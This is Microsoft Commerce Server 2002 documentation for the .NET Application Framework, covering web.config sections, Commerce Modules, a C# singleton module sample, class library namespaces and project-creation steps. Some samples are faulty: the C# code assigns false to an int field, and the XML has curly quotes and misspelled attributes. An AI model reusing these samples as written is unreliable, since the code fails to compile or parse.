In addition to the global data required for a Commerce Server application to run, there is also data specific to each page, and potentially to each user, that is provided within the page services. Page services provide Commerce Server-specific data per HTTP request. This data is accessed through the CommerceContext class. The page services are:

  • Current user's profile. The current user’s profile is available from the CommerceContext.Current.UserProfile property.
  • User catalogs. The list of catalogs to which the current user has access is available from the CommerceContext.GetCatalogsForUser method.
  • Targeting context. The current targeting context as required by the Content Selection Framework is available from the CommerceContext.TargetingSystem.TargetingContextProfile property.

See Also

.NET Class Reference

Configuration Services

CommerceContext


Configuration Services

Each .NET-based Commerce Server application contains a web.config file. To configure the Commerce Server .NET Application Framework, you modify the web.config file by changing the following sections:

  • The CommerceServer section configures the framework components.
  • The sectionGroups section lists the ASP.NET Configuration Section Handlers that should be used to read the data in the web.config file.
  • The httpModules section lists which HTTP modules and Commerce Modules should be enabled in the application.

For reference material pertaining to each of the tags in the web.config file, see .NET Configuration Settings.

Notes

  • The order that modules are configured in web.config is significant; modules are initialized in the order in which they are listed.
  • If you create a new Commerce project by using the Project Creation Wizard, it automatically includes a default web.config file. Thus, projects created by the Project Creation Wizard do not need to modify the configSections element of the web.config file. For more information about the Project Creation Wizard, see Creating a Commerce Project.

The following is a sample excerpt from the web.config file:

    <configSections>
        <sectionGroup name="CommerceServer">
            <section name="application"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceApplicationSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="authentication"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceAuthenticationSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="pipelines"
type="Microsoft.CommerceServer.Runtime.Configuration.CommercePipelineSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="caches"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceCacheSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="messageManager"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceMessageManagerSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="catalog"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceCatalogSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="orders"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceOrdersSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="profiles"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceProfilesSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <section name="contentSelection"
type="Microsoft.CommerceServer.Runtime.Configuration.CommerceContentSelectionSectionHandler, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
        </sectionGroup>
    </configSections>

    <CommerceServer>
        <application siteName="OrderSitelet" debugLevel="Checked"/>
        <authentication ticketTimeOut="30" detectCookies="false"/>

        <pipelines>
            <pipeline
                name="basket"
                path="pipelines\basket.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

            <pipeline
                name="checkout"
                path="pipelines\checkout.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

            <pipeline
                name="product"
                path="pipelines\product.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

            <pipeline
                name="total"
                path="pipelines\total.pcf"
                transacted="false"
                type="OrderPipeline"
                loggingEnabled="true"/>

        </pipelines>

        <caches>
            <cache
                name="Advertising"
                type="Advertising"
                refreshInterval="900"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="Discounts"
                type="Discounts"
                refreshInterval="0"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="SampleRegionalTaxCache"
                type="Tax"
                refreshInterval="0"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="ShippingManagerCache"
                type="Shipping"
                loaderProgId="Commerce.ShippingManagerCache"
                refreshInterval="0"
                retryInterval="30"
                maxSize="10000"/>

            <cache
                name="QueryCatalogInfoCache"
                type="QCI"
                loaderProgId="Commerce.LRUCacheFlush"
                refreshInterval="0"
                retryInterval="300"
                maxSize="10000">

                <config key="TableName" value="CatalogCache_Virtual_Directory"/>

            </cache>
        </caches>

        <messageManager>
            <cultures default="en-US" baseName="OrderSitelet" assembly="OrderSitelet">
                <culture id="en-US"/>
                <culture id="fr-fr"/>
                <culture id="ja-JP"/>
            </cultures>
            <resources>
                <resource id="pur_badsku"/>
                <resource id="pur_badplacedprice"/>
                <resource id="pur_discount_changed"/>
                <resource id="pur_discount_removed"/>
                <resource id="pur_noitems"/>
                <resource id="pur_badshipping"/>
                <resource id="pur_badhandling"/>
                <resource id="pur_badtax"/>
                <resource id="pur_badcc"/>
                <resource id="pur_badpayment"/>
                <resource id="pur_badverify"/>
                <resource id="pur_out_of_stock"/>
                <resource id="unknown_shipping_method"/>
            </resources>
        </messageManager>

        <orders>
            <addressMap>
                <profileDefinition name="Address"/>
                <property from="GeneralInfo.address_id" to="address_id"/>
                <property from="GeneralInfo.address_id" to="shipping_address_id"/>
                <property from="GeneralInfo.first_name" to="first_name"/>
                <property from="GeneralInfo.last_name" to="last_name"/>
                <property from="GeneralInfo.address_line1" to="address_line1"/>
                <property from="GeneralInfo.address_line2" to="address_line2"/>
                <property from="GeneralInfo.city" to="city"/>
                <property from="GeneralInfo.region_name" to="region_code"/>
                <property from="GeneralInfo.postal_code" to="postal_code"/>
                <property from="GeneralInfo.country_name" to="ship_to_country"/>
                <property from="GeneralInfo.region_name" to="ship_to_state"/>
                <property from="GeneralInfo.country_name" to="country_code"/>
                <property from="GeneralInfo.tel_number" to="tel_number"/>
            </addressMap>
        </orders>

    <profiles>

        <encryption>
            <keys keyIndex="1">
                <add type="publicKey" value="<hex-string>" />
                <add type="privateKey1" value="<hex-string>" />
                <add type="privateKey2" value="<hex-string>" />
            </keys>
        </encryption>

        <userProfile
            profileDefinition="UserObject"
            userIdProperty="GeneralInfo.logon_name"
            organizationIdProperty="AccountInfo.org_id"
            catalogSetIdProperty="AccountInfo.user_catalog_set"
        />
        <organizationProfile
            profileDefintion="Organization"
            organizationIdProperty="GeneralInfo.org_id"
            catalogSetIdProperty="GeneralInfo.org_catalog_set"
        />
    </profiles>

    <contentSelection>
        <add name="advertising"
            cacheName="advertising"
            selectionPipeline="advertising"
            eventPipeline="recordEvent"
            preloadCache="true"
            redirectUrl="./redir.asp"
        />
        <add name="discounts"
            campaignsType="discounts"
            cacheName="discounts"
            selectionPipeline="discounts"
            eventPipeline="recordEvent"
            redirectUrl="./redir.asp"
        />
    </contentSelection >

    <catalog>
        <joinTable
            joinType=”join-type-enum-value”
            targetTableName=”target-table”
            sourceJoinKey=”source-join-key”
            targetJoinKey=”target-join-key” />

        <catalogSets
            defaultAuthenticated=”Registered Catalog Set”
            defaultAnonymouse=”Anonymous Catalog Set” />
    </catalog>

    </CommerceServer>

    <system.web>

        <httpModules>
            <add name="CommerceApplication"                type="Microsoft.CommerceServer.Runtime.CommerceApplicationModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceAuthentication"                type="Microsoft.CommerceServer.Runtime.CommerceAuthenticationModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceOrder"                type="Microsoft.CommerceServer.Runtime.Orders.CommerceOrderModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceCatalog"                type="Microsoft.CommerceServer.Runtime.Catalog.CommerceCatalogModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceProfile"                type="Microsoft.CommerceServer.Runtime.Profiles.CommerceProfileModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceExpressionEvaluator"                type="Microsoft.CommerceServer.Runtime.Targeting.CommerceExpressionModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceCache"                type="Microsoft.CommerceServer.Runtime.Caching.CommerceCacheModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceContentSelection"
                type="Microsoft.CommerceServer.Runtime.Targeting.CommerceContentSelectionModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
        </httpModules>
    </system.web>

See Also

.NET Class Reference

Commerce Modules


Commerce Modules

Commerce Modules are an extension of the ASP.NET runtime, and are based on the HTTP module architecture that the runtime provides. Commerce Modules encapsulate the automatic configuration of all Commerce Server Application Runtime components. The CommerceModule class is the base class from which all Commerce Modules derive. After an application is loaded into the Commerce Server Application Runtime, you can use the CommerceContext class to access all page and application scope components provided by Commerce Server from within the global.asax file, a Web form, or any custom component.

Using Commerce Modules decreases the amount of code you need to write in the global.asa file and on individual ASP pages to initialize components. The initialization code is encapsulated in Commerce Modules that read configuration data from the web.config file.

Some Commerce Modules are configurable and some are not. If the Commerce Module is configurable, the module will reference the associated IConfigurationSectionHandler interface. IConfigurationSectionHandler interface instances are defined in the <configSections><sectionGroup name="Commerce Server"> section of the web.config file, as shown in the preceding sample web.config file. Commerce Modules are defined and initialized in the <system.web><httpModules> section of the web.config file.

The following tables contain quick reference information for each of the Commerce Modules.

CommerceApplicationModule | Description
Module description | By definition, an application must use CommerceApplicationModule to be considered a Commerce Server .NET Application Framework application. All other CommerceModules depend on the CommerceApplicationModule.
Public properties
public static string SiteName {
get; }
public static
CommerceResourceCollection
Resources { get; }
public static PipelineCollection
Pipelines { get; }
public static DebugContext
DebugContext { get; set; }
Configuration section read
<application>
CommerceContext properties set
public string SiteName { get; }
public CommerceResourceCollection
Resources { get; }
public PipelineCollection Pipelines
{ get; }
public DebugContext DebugContext {
get; }
Event handlers The OnBeginRequest event creates an instance of the CommerceContext class and stores it in the HttpContext.Current.Items collection for retrieval by the CommerceContext.Current static property.

The OnEndRequest event disposes of the current CommerceContext class instance and all of the disposables it is managing.
Resource dependencies | None
Module dependencies | None
CommerceAuthenticationModule | Description
Module description | Provides a framework for managing authentication of site visitors. Provides the means for client-side cookie detection and creates an instance of AuthManagerInfo at page scope.
Public properties | None
Configuration section read
<authentication>
CommerceContext properties set
public AuthManagerInfo
AuthManagerInfo { get; }
Event handlers | The OnBeginRequest event creates an instance of the AuthManagerInfo class and sets CommerceContext.AuthManagerInfo.
Resource dependencies | Authentication resource
Module dependencies | CommerceApplicationModule
CommerceCacheModule | Description
Module description | Creates the collection of CacheManager caches used on the site.
Public properties
public static
CommerceCacheCollection
CacheCollection { get; }
Configuration section read
<caches>
CommerceContext properties set
public CommerceCacheCollection
Caches { get; }
Event handlers | None
Resource dependencies The Campaigns resource is a dependency only if a cache of type advertising or discounts has been configured.

The Transactions Config resource is a dependency if a cache of type tax, shipping, or QCI has been configured.
Module dependencies | CommerceApplicationModule
CommerceCatalogModule | Description
Module description | Creates a default CatalogContext object for the site.
Public properties
public static CatalogContext
CatalogContext { get; }
Configuration section read
<catalog>
CommerceContext properties set
public CatalogContext CatalogSystem
{ get; set; }
Event handlers | The OnBeginRequest event sets CommerceContext.CatalogSystem.
Resource dependencies | Product Catalog System
Module dependencies | CommerceApplicationModule
CommerceOrderModule | Description
Module description | Creates a default OrderContext object for the site.
Public properties
public static OrderContext
OrderContext { get; }
Configuration section read | None
CommerceContext properties set
public OrderContext OrderSystem {
get; set; }
Event handlers | The OnBeginRequest event sets CommerceContext.OrderSystem.
Resource dependencies | Transactions resource
Module dependencies | CommerceApplicationModule
CommerceProfileModule | Description
Module description | Creates a default ProfileContext object for the site.
Public properties
public static ProfileContext
ProfileContext { get; }
public static
CommerceProviderContext
ProviderContext { get; }
Configuration section read | profiles
CommerceContext properties set
Public ProfileContext ProfileSystem
{ get; set; }
Public CommerceProviderContext
ProviderContext { get; set; }
Event handlers | The OnBeginRequest event sets CommerceContext.ProfileSystem.
Resource dependencies | Profiles resource
Module dependencies | CommerceApplicationModule
CommerceContentSelectionModule | Description
Module description | Creates the collection of ContentSelectionContext objects available for site usage.
Public properties
public static
ContentSelectionContextCollection
ContentSelectionContexts { get; }
Configuration section read
<contentSelection>
CommerceContext properties set
public
ContentSelectionContextCollection
TargetingSystem.SelectionContexts {
get; }
Event handlers | None
Resource dependencies | None
Module dependencies CommerceApplicationModule
CommerceCacheModule
CommerceExpressionModule
CommerceExpressionModule | Description
Module description | Creates an ExpressionEvaluator component for use on the site.
Public properties
public static ExpressionEvaluator
ExpressionEvaluator { get; }
Configuration section read | None
CommerceContext properties set
Public ExpressionEvaluator
TargetingSystem.ExpressionEvaluator
{ get; }
Event handlers | None
Resource dependencies | Profiles resource
Module dependencies | CommerceApplicationModule

Enabling CommerceModules in the web.config File

Module Design Patterns

Exposing Resources Created by a Commerce Module

Building Commerce Modules

Enabling CommerceModules in the web.config File

The set of Commerce Modules available for use in the site must be configured in the <httpModules> section of the web.config file. The order in which the modules appear in the web.config file is significant. Any module dependent upon another module must be listed after the module on which it is dependent.

The CommerceApplicationModule class is a requirement for an application to be considered part of a .NET-based Commerce Server application, and it must be listed before all other CommerceModules classes in the <httpModules> section in the web.config file.

The following code sample shows what the <httpModules> section would look like for an application that used only the CommerceApplicationModule, CommerceOrderModule, and CommerceCatalogModule classes:

<httpModules>
            <add name="CommerceApplication" type="Microsoft.CommerceServer.Runtime.CommerceApplicationModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceOrder" type="Microsoft.CommerceServer.Runtime.Orders.CommerceOrderModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
            <add name="CommerceCatalog" type="Microsoft.CommerceServer.Runtime.Catalog.CommerceCatalogModule, Microsoft.CommerceServer.Runtime, Version=4.5.1915.0, Culture=neutral, PublicKeyToken=fa6ab6564e139293" />
</httpModules>

See Also

.NET Class Reference

CommerceModule Class

CommerceApplicationModule Class

CommerceCatalogModule Class

CommerceOrderModule

Module Design Patterns

A Commerce Module is responsible for creating a resource that will be used on site pages. The module can either create a single instance of the resource, or it can create a different instance of the resource for each instance of the HttpApplication class that is created in the ASP.NET application. This topic describes the issues that should be considered when making this design decision.

The multiple-instance pattern is simplest to implement. The Init method of the module simply creates the resource and stores it in an instance field.

The singleton pattern is a little more complex to implement. The first time the Init method is called for any instance, the module creates the resource and stores it in a static field. This must be done in a way that uses locking to avoid a race condition that might cause multiple instances of the resource to be created. The following code sample demonstrates the singleton pattern:

public sealed class SampleModule : CommerceModule
{
   // The resource the module is responsible for creating
   private static SampleResource sampleResource;

// The key name used to store the resource in the HttpContext Items
// collection
   private const string sampleResourceKey = "SampleCommerceResource";

   // Flag: has this instance been disposed
   private int disposed = false;

   // CommerceModule.Init implementation
   public override void Init(HttpApplication appInstance)
   {
      // First declare module and resource dependencies using the
      // CommerceModule protected helper methods.  These will throw
      // CommerceResourceDependencyExceptions or
      // CommerceModuleDependencyExceptions if the dependencies don’t exist

      // "SampleResourceName" is some custom Commerce Server site resource
      DeclareResourceDependency("SampleResourceName");

      // This module depends on the CatalogModule having been initialized
      // in the pipeline before this module.
      DeclareModuleDependency("CommerceCatalogModule");

      // Create the singleton instance of the resource
      if (sampleResource == null)
      {
         // Lock to prevent race conditions and ensure that exactly one
         // instance of the resource is created
         lock (typeof(SampleModule))
         {
            if (sampleResource == null)
               sampleResource = CreateResource();
         }
      }

      // subscribe to BeginRequest events
      appInstance.BeginRequest += new EventHandler(OnBeginRequest);
   }

   // BeginRequest event handler
   public void OnBeginRequest(Object sender, EventArgs e)
   {
      HttpContext ctx = HttpContext.Current;
      if (ctx != null)
         ctx.Items[sampleResourceKey] = sampleResource;
   }

   // If there are any resources that need to be disposed of, override
   // the Dispose(bool) method from the base class.  This will be called
   // when the module instance is disposed.

   protected override void Dispose(bool disposing)
   {
      // Check to see if Dispose has already been called.
      if(!this.disposed)
      {
         this.disposed = true;
            // If disposing equals true, dispose all managed
         // and unmanaged resources.
         if(disposing)
         {
            // Dispose managed resources.
         }
         // Release unmanaged resources. If disposing is false,
         // only the following code is executed.
         // ...

         // Now call the base class's dispose:
         base.Dispose(disposing);
      }
   }

}

Exposing Resources Created by a Commerce Module

It is recommended that Commerce Modules subscribe to the BeginRequest event of the HttpApplication class. When the event is handled, it copies a reference to the resources that it created in the Init method into the HttpContext.Current.Items collection using a well known, unique, and documented key. The Web form then only needs to retrieve the reference of the resource from the Items collection and assign the appropriate type to it.

For modules supplied with the core Commerce Server .NET Application Framework, the references are copied into a strongly typed property in the CommerceContext class. This is more convenient for you to access and it avoids the cost of a hash table lookup and a run-time type cast.

Building Commerce Modules

While Commerce Modules are an extension to the HTTP module architecture in ASP.NET, it is recommended that you implement or build Commerce Modules instead of implementing the IHttpModule interface. This is because inheriting from the CommerceModule class allows Commerce Server to manage the dependencies between modules in the application.

A third party providing extensions or plug-ins for the Commerce Server platform should build a Commerce Module if any of the following are true:

  • The extension depends on a resource or resources in the Commerce Server Administration database.
  • The extension depends on other Commerce Server modules.
  • The extension requires global configuration before its functionality is used on site pages.
  • The extension needs to subscribe to request processing events raised by the HttpApplication class.
  • Other Commerce Modules might depend on this module being configured.

See Also

Commerce Server Application Runtime

CommerceModule Class (BCL)


Base Class Library

The Commerce Server Base Class Library is a collection of classes, interfaces, and value types that are included in the Commerce Server .NET Application Framework. This library provides access to run-time Commerce Server functionality and is designed to be the foundation on which .NET-based Commerce Server applications are built. The Base Class Library exposes an API that is optimized for the .NET Framework while using the services provided by the Common Language Runtime Interop Layer.

The following table lists the feature areas for which an abstraction layer is provided in the Base Class Library, and the types associated with the feature area.

Run-time subsystem | Namespace
Authentication | Microsoft.CommerceServer.Runtime
Order Processing Pipelines | Microsoft.CommerceServer.Runtime.Pipelines
Caching | Microsoft.CommerceServer.Runtime.Caching
Order System | Microsoft.CommerceServer.Runtime.Orders
Product Catalog System | Microsoft.CommerceServer.Runtime.Catalog
Profiling System | Microsoft.CommerceServer.Runtime.Profiles
Targeting System | Microsoft.CommerceServer.Runtime.Targeting

For more information about the types in each of these namespaces, see Microsoft.CommerceServer.Runtime and Base Class Library Namespaces.

The Base Class Library does not provide an abstraction layer for all Primary Interop Assemblies, and for the Primary Interop Assemblies that do have an abstraction layer, there is not a one-to-one mapping of run-time APIs to members of the Base Class Library.

This section contains:

  • Base Class Library Namespaces
  • Resource Disposal

See Also

.NET Class Reference

Common Language Runtime Interop Layer


Base Class Library Namespaces

Objects and types in the common language runtime are organized in a namespace hierarchy that allows similar types to be grouped by using a logical name. For example, types related to low-level input/output operations such as file reading and writing are grouped in the namespace System.IO.

The Base Class Library namespaces exposed in the Commerce Server .NET Application Framework are grouped by functional area to make it easier for you to discover and use them. The root namespace for the Base Class Library layer is Microsoft.CommerceServer.Runtime, and it groups all core Commerce Server run-time objects.

The namespaces implemented in Commerce Server 2002 are:

  • Microsoft.CommerceServer.Runtime
  • Microsoft.CommerceServer.Runtime.Caching
  • Microsoft.CommerceServer.Runtime.Catalog
  • Microsoft.CommerceServer.Runtime.Configuration
  • Microsoft.CommerceServer.Runtime.Diagnostics
  • Microsoft.CommerceServer.Runtime.Orders
  • Microsoft.CommerceServer.Runtime.Pipelines
  • Microsoft.CommerceServer.Runtime.Profiles
  • Microsoft.CommerceServer.Runtime.Targeting

See Also

Primary Interop Assembly Namespaces

Resource Disposal

.NET Class Reference


Resource Disposal

When used in conjunction with the Commerce Server Application Runtime, disposal of the Base Class Library members is done automatically. All the Base Class Library classes that hold unmanaged resources implement the IDisposable interface, so that they can release these resources when the objects are no longer required. For more information about using this application run-time service, see CommerceContext.RegisterDisposable(Object).

For more information about resource disposal and the IDisposable interface, see the .NET Framework SDK documentation.

See Also

Base Class Library


Common Language Runtime Interop Layer

The common language runtime provides an interoperability layer between COM components and .NET-based applications. It conceals the differences between managed code and unmanaged code, so that COM components are accessible from the common language runtime and vice versa.

The Common Language Runtime Interop Layer is primarily composed of Primary Interop Assemblies. Assemblies are the primary building blocks of a .NET Framework application. Interop assemblies act as a bridge between managed and unmanaged code, mapping COM object members to equivalent .NET managed members. The term Primary Interop Assembly pertains to assemblies made specifically for COM objects. The Common Language Runtime Interop Layer is responsible for running and managing the Primary Interop Assemblies created for Commerce Server.

The Base Class Library uses the Primary Interop Assemblies to interoperate with Commerce Server 2002 core services. You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Common Language Runtime Interop Layer does not manage the lifetime of a COM object for you; the Base Class Library does, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

This section contains:

  • Primary Interop Assembly
  • Primary Interop Assembly Namespaces

See Also

Microsoft.CommerceServer.Interop


Primary Interop Assemblies

Assemblies are the binary components that are managed and run by the common language runtime. Assemblies contain the code to be run in Microsoft intermediate language (MSIL), the metadata that describes the objects stored in the assembly, the version information associated with the objects in the assembly, and more. They are roughly equivalent to a COM DLL with a type library embedded in it. To make the Commerce Server object model available to the common language runtime, there is a set of Primary Interop Assemblies that act as proxies, forwarding all API calls from managed code to Microsoft native COM APIs.

Note

  • The Base Class Library uses the Primary Interop Assemblies to interoperate with Commerce Server 2002 core services. You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Common Language Runtime Interop Layer does not manage the lifetime of a COM object for you; the Base Class Library does, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

See Also

Primary Interop Assembly Namespaces

Microsoft.CommerceServer.Interop


Primary Interop Assembly Namespaces

Objects and types in the common language runtime are organized in a namespace hierarchy that allows similar types to be grouped by using a logical name. For example, types related to low-level input/output operations such as file reading and writing are grouped in the namespace System.IO.

The Primary Interop Assemblies exposed in the Commerce Server .NET Application Framework are grouped by functional area to make it easier for you to discover and use them. The root namespace for the interop layer is Microsoft.CommerceServer.Interop, and it groups all the Common Language Runtime Interop Layer objects.

The namespaces implemented by Commerce Server 2002 are:

  • Microsoft.CommerceServer.Interop
  • Microsoft.CommerceServer.Interop.Caching
  • Microsoft.CommerceServer.Interop.Catalog
  • Microsoft.CommerceServer.Interop.Configuration
  • Microsoft.CommerceServer.Interop.Orders
  • Microsoft.CommerceServer.Interop.Profiles
  • Microsoft.CommerceServer.Interop.Targeting

Note

  • The Base Class Library uses the Primary Interop Assemblies to interoperate with Commerce Server 2002 core services. You should use the Base Class Library instead of using the Primary Interop Assemblies directly. The Common Language Runtime Interop Layer does not manage the lifetime of a COM object for you; the Base Class Library does, resulting in increased performance and stability. The Base Class Library simplifies the programming model and follows the .NET Framework design guidelines.

See Also

Base Class Library Namespaces

Common Language Runtime Interop Layer


Building a .NET-Based Commerce Server Application

You use Microsoft Visual Studio .NET to create .NET-based Commerce Server applications that use the Microsoft .NET Framework. Microsoft Commerce Server 2002 provides tight integration with Visual Studio .NET, and allows you to access essential Commerce Server tools from the Visual Studio .NET development environment. You can also create Commerce Web applications in a team development environment; for more information about creating Visual Studio .NET applications in a team development environment, see http://go.microsoft.com/fwlink/?LinkId=6771.

The topics in this section explain how to access Commerce Server tools from Visual Studio .NET.

This section contains:

  • Creating a Commerce Project. Explains how to build a new Commerce Project by using the Project Creation Wizard.
  • Using the Developer Portal: Describes the Commerce Server tools integrated with Visual Studio .NET, including Commerce Server Manager.
  • Enabling Commerce Server in an Existing Web Project. Explains how to enable Commerce Server functionality in an existing Web service, Visual Basic .NET, C#, or empty Web project.
  • Using MessageManager. Explains how to implement message management by using the Commerce Server .NET Application Framework.
  • Creating a Commerce Server Package for the Project Creation Wizard. Explains how to create template files for the Commerce Server Site Packager so that the Commerce Server package can work correctly with the Project Creation Wizard.
  • Removing Commerce Server from your Web Project. Explains how to remove a .NET-based Commerce Server application from a Visual Studio .NET project.


Creating a Commerce Project

You use the Project Creation Wizard in Microsoft Visual Studio .NET to create Commerce Server applications. Using Commerce Projects in the Project Creation Wizard, you can create a new Microsoft Visual Basic .NET- or Microsoft Visual C#-based Commerce Server application.

Using the Project Creation Wizard, you can migrate your existing Commerce Server site to Visual Basic .NET or C# to use .NET-based Commerce Server features.

The following table lists and describes Commerce Project options to create a Commerce Server Project in the Project Creation Wizard.

Use this | To do this
Commerce C# ASP.NET Web Application | Create a new C# application for Commerce Server.
Commerce VB ASP.NET Web Application | Create a new Visual Basic .NET application for Commerce Server.
New Commerce C# Project In Existing Folder | Map files that are not .NET-based to an existing C# Commerce Server application. This will automatically add references to your site and copy files to your site folder.
New Commerce VB Project In Existing Folder | Map files that are not .NET-based to an existing Visual Basic .NET Commerce Server application. This will automatically add references to your site and copy files to your site folder.
Commerce Custom ASP.NET Web Application Create a custom site based upon an existing Commerce Server Site package. You will have an option to select what Commerce Server resources are installed.

Notes

  • To use this option, the Commerce Server custom site package must be built specifically for the Project Creation Wizard.
  • If you receive an error about not being able to connect to a remote site when unpacking a site from a remote computer, enter the full Universal Naming Convention (UNC) path. For example, \\<Server Name>\<drive>$\inetpub\wwwroot\<Site Name>\.

Notes

  • The Project Creation Wizard does not support Csharp or VB Commerce Server Site packages that might be present in the PuP Packages folder.
  • Multiple Business Desk applications in a single Commerce Server Site package are not supported.

To create a new Visual Basic .NET or C# Commerce Server application

To enable a Commerce Server project to an existing Commerce Server site

To create a new Visual Basic .NET or C# Commerce Server application

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. On the File menu, point to New, and then click Project.
  3. In the New Project dialog box, do the following:
    Use this | To do this
    Project Types | Select Commerce Projects.
    Templates | From the list, select Commerce C# ASP.NET Web Application to create a new C# Commerce Server application, or select Commerce VB ASP.NET Web Application to create a new Visual Basic .NET Commerce Server application.
    Location | Type the complete path or click Browse to specify where to store the project.
  4. To create the project, click OK.

    The Commerce Application Project Wizard starts.

  5. In the Commerce Application Project Wizard Welcome dialog box, click Next.
  6. In the Commerce Server Site Packager Quick Unpack dialog box, do the following:
    Use this | To do this
    Site name | Type a name for the site, or retain the name CommerceWebApp1.
    IIS Web site | Select the name of the Internet Information Services (IIS) 5.0 Web site where the applications will be installed.
    SQL Server Computer | Type the name of the SQL Server computer on which you want the site databases to be created.
    Use Windows Integrated Security Select this option if you want to use Windows integrated security.

    When you use Windows integrated security, user names and passwords are not stored in the SQL Server connection string, and are not affected by SQL Server password resets. For information about Commerce Server 2002 security, see Securing Your Site.
    Use a specific user name and password | Select this option if you want to use SQL Server authentication when connecting to the databases.
    SQL Server Login Name Type a SQL Server login user name that has permissions on the SQL Server computer on which the site databases are to be created.

    Note

    • For security purposes, do not use the sa login for access to the databases. To change the login information for the Administration database after it is created, use SQL Server Enterprise Manager.
    SQL Server Login Password | Type the SQL Server login password for the databases.
  7. Click Next.
  8. In the Data Warehouse dialog box, do the following:
    Use this | To do this
    Name | Type the name you want to give to the pointer to the global Data Warehouse resource.
    Server | Type the name of the SQL Analysis Services computer that the Data Warehouse will use.
    Database | Type the name of the Analysis Services database.
  9. Click OK.
  10. In the Profiling System dialog box, accept the default .xml files, and then click Next.
  11. In the next Profiling System dialog box, accept the default .xml files, accept the default connection string and schema definition scripts, and then click OK.

A new C# or Visual Basic .NET Commerce Server project is created.

To enable a Commerce Server project to an existing Commerce Server site

  1. Click Start, point to Programs, point to Microsoft Visual Studio .NET, and then click Microsoft Visual Studio .NET.
  2. On the File menu, point to New, and then click Project.
  3. In the New Project dialog box, do the following:
    Use this | To do this
    Project Types | Select Commerce Projects.
    Templates | From the list, select New Commerce C# Project in Existing Site or select New Commerce VB Project In Existing Folder.
    Name | Type the name for the existing Commerce Server site.
  4. Click OK.
  5. In the Open dialog box, navigate to your existing Commerce Server site folder, select the Commerce Server Application ini file (csapp.ini), and then click Open.

A new Commerce Server project is created in Visual Studio .NET with all the current site files added to the project.

See Also

Using the Developer Portal

Enabling Commerce Server in an Existing Web Project

Creating a Commerce Server Package for the Project Creation Wizard

Removing Commerce Server from your Web Project


Using the Developer Portal

The Developer Portal is suite of Commerce Server tools integrated with Visual Studio .NET, the Developer Portal includes a project creation wizard that enables developers to create Commerce Server projects from the Visual Studio .NET environment, and schema designers to create profiling and product catalog systems that are hosted in the Visual Studio .NET environment.

Using the Developer Portal you can access the following:

  • DataBinding Expression Builder
  • Commerce Server Resources
  • Commerce Server Manager
  • Pipeline Editor
  • Business Desk application
  • Catalog Definition Designer
  • Profile Definition Designer

Note

  • The Developer Portal tools are only available in Commerce Projects. For more information about creating a Commerce Project or adding Commerce Server to your existing Projects, see Creating a Commerce Project and Enabling Commerce Server in an Existing Web Project.

This section contains:

  • Binding Commerce Data to a Web Form
  • Adding and Modifying Application Resources
  • Accessing Commerce Server Manager
  • Accessing the Pipeline Editor
  • Accessing Business Desk
  • Accessing the Catalog Definition Designer
  • Accessing the Profile Definition Designer


Binding Commerce Data to a Web Form

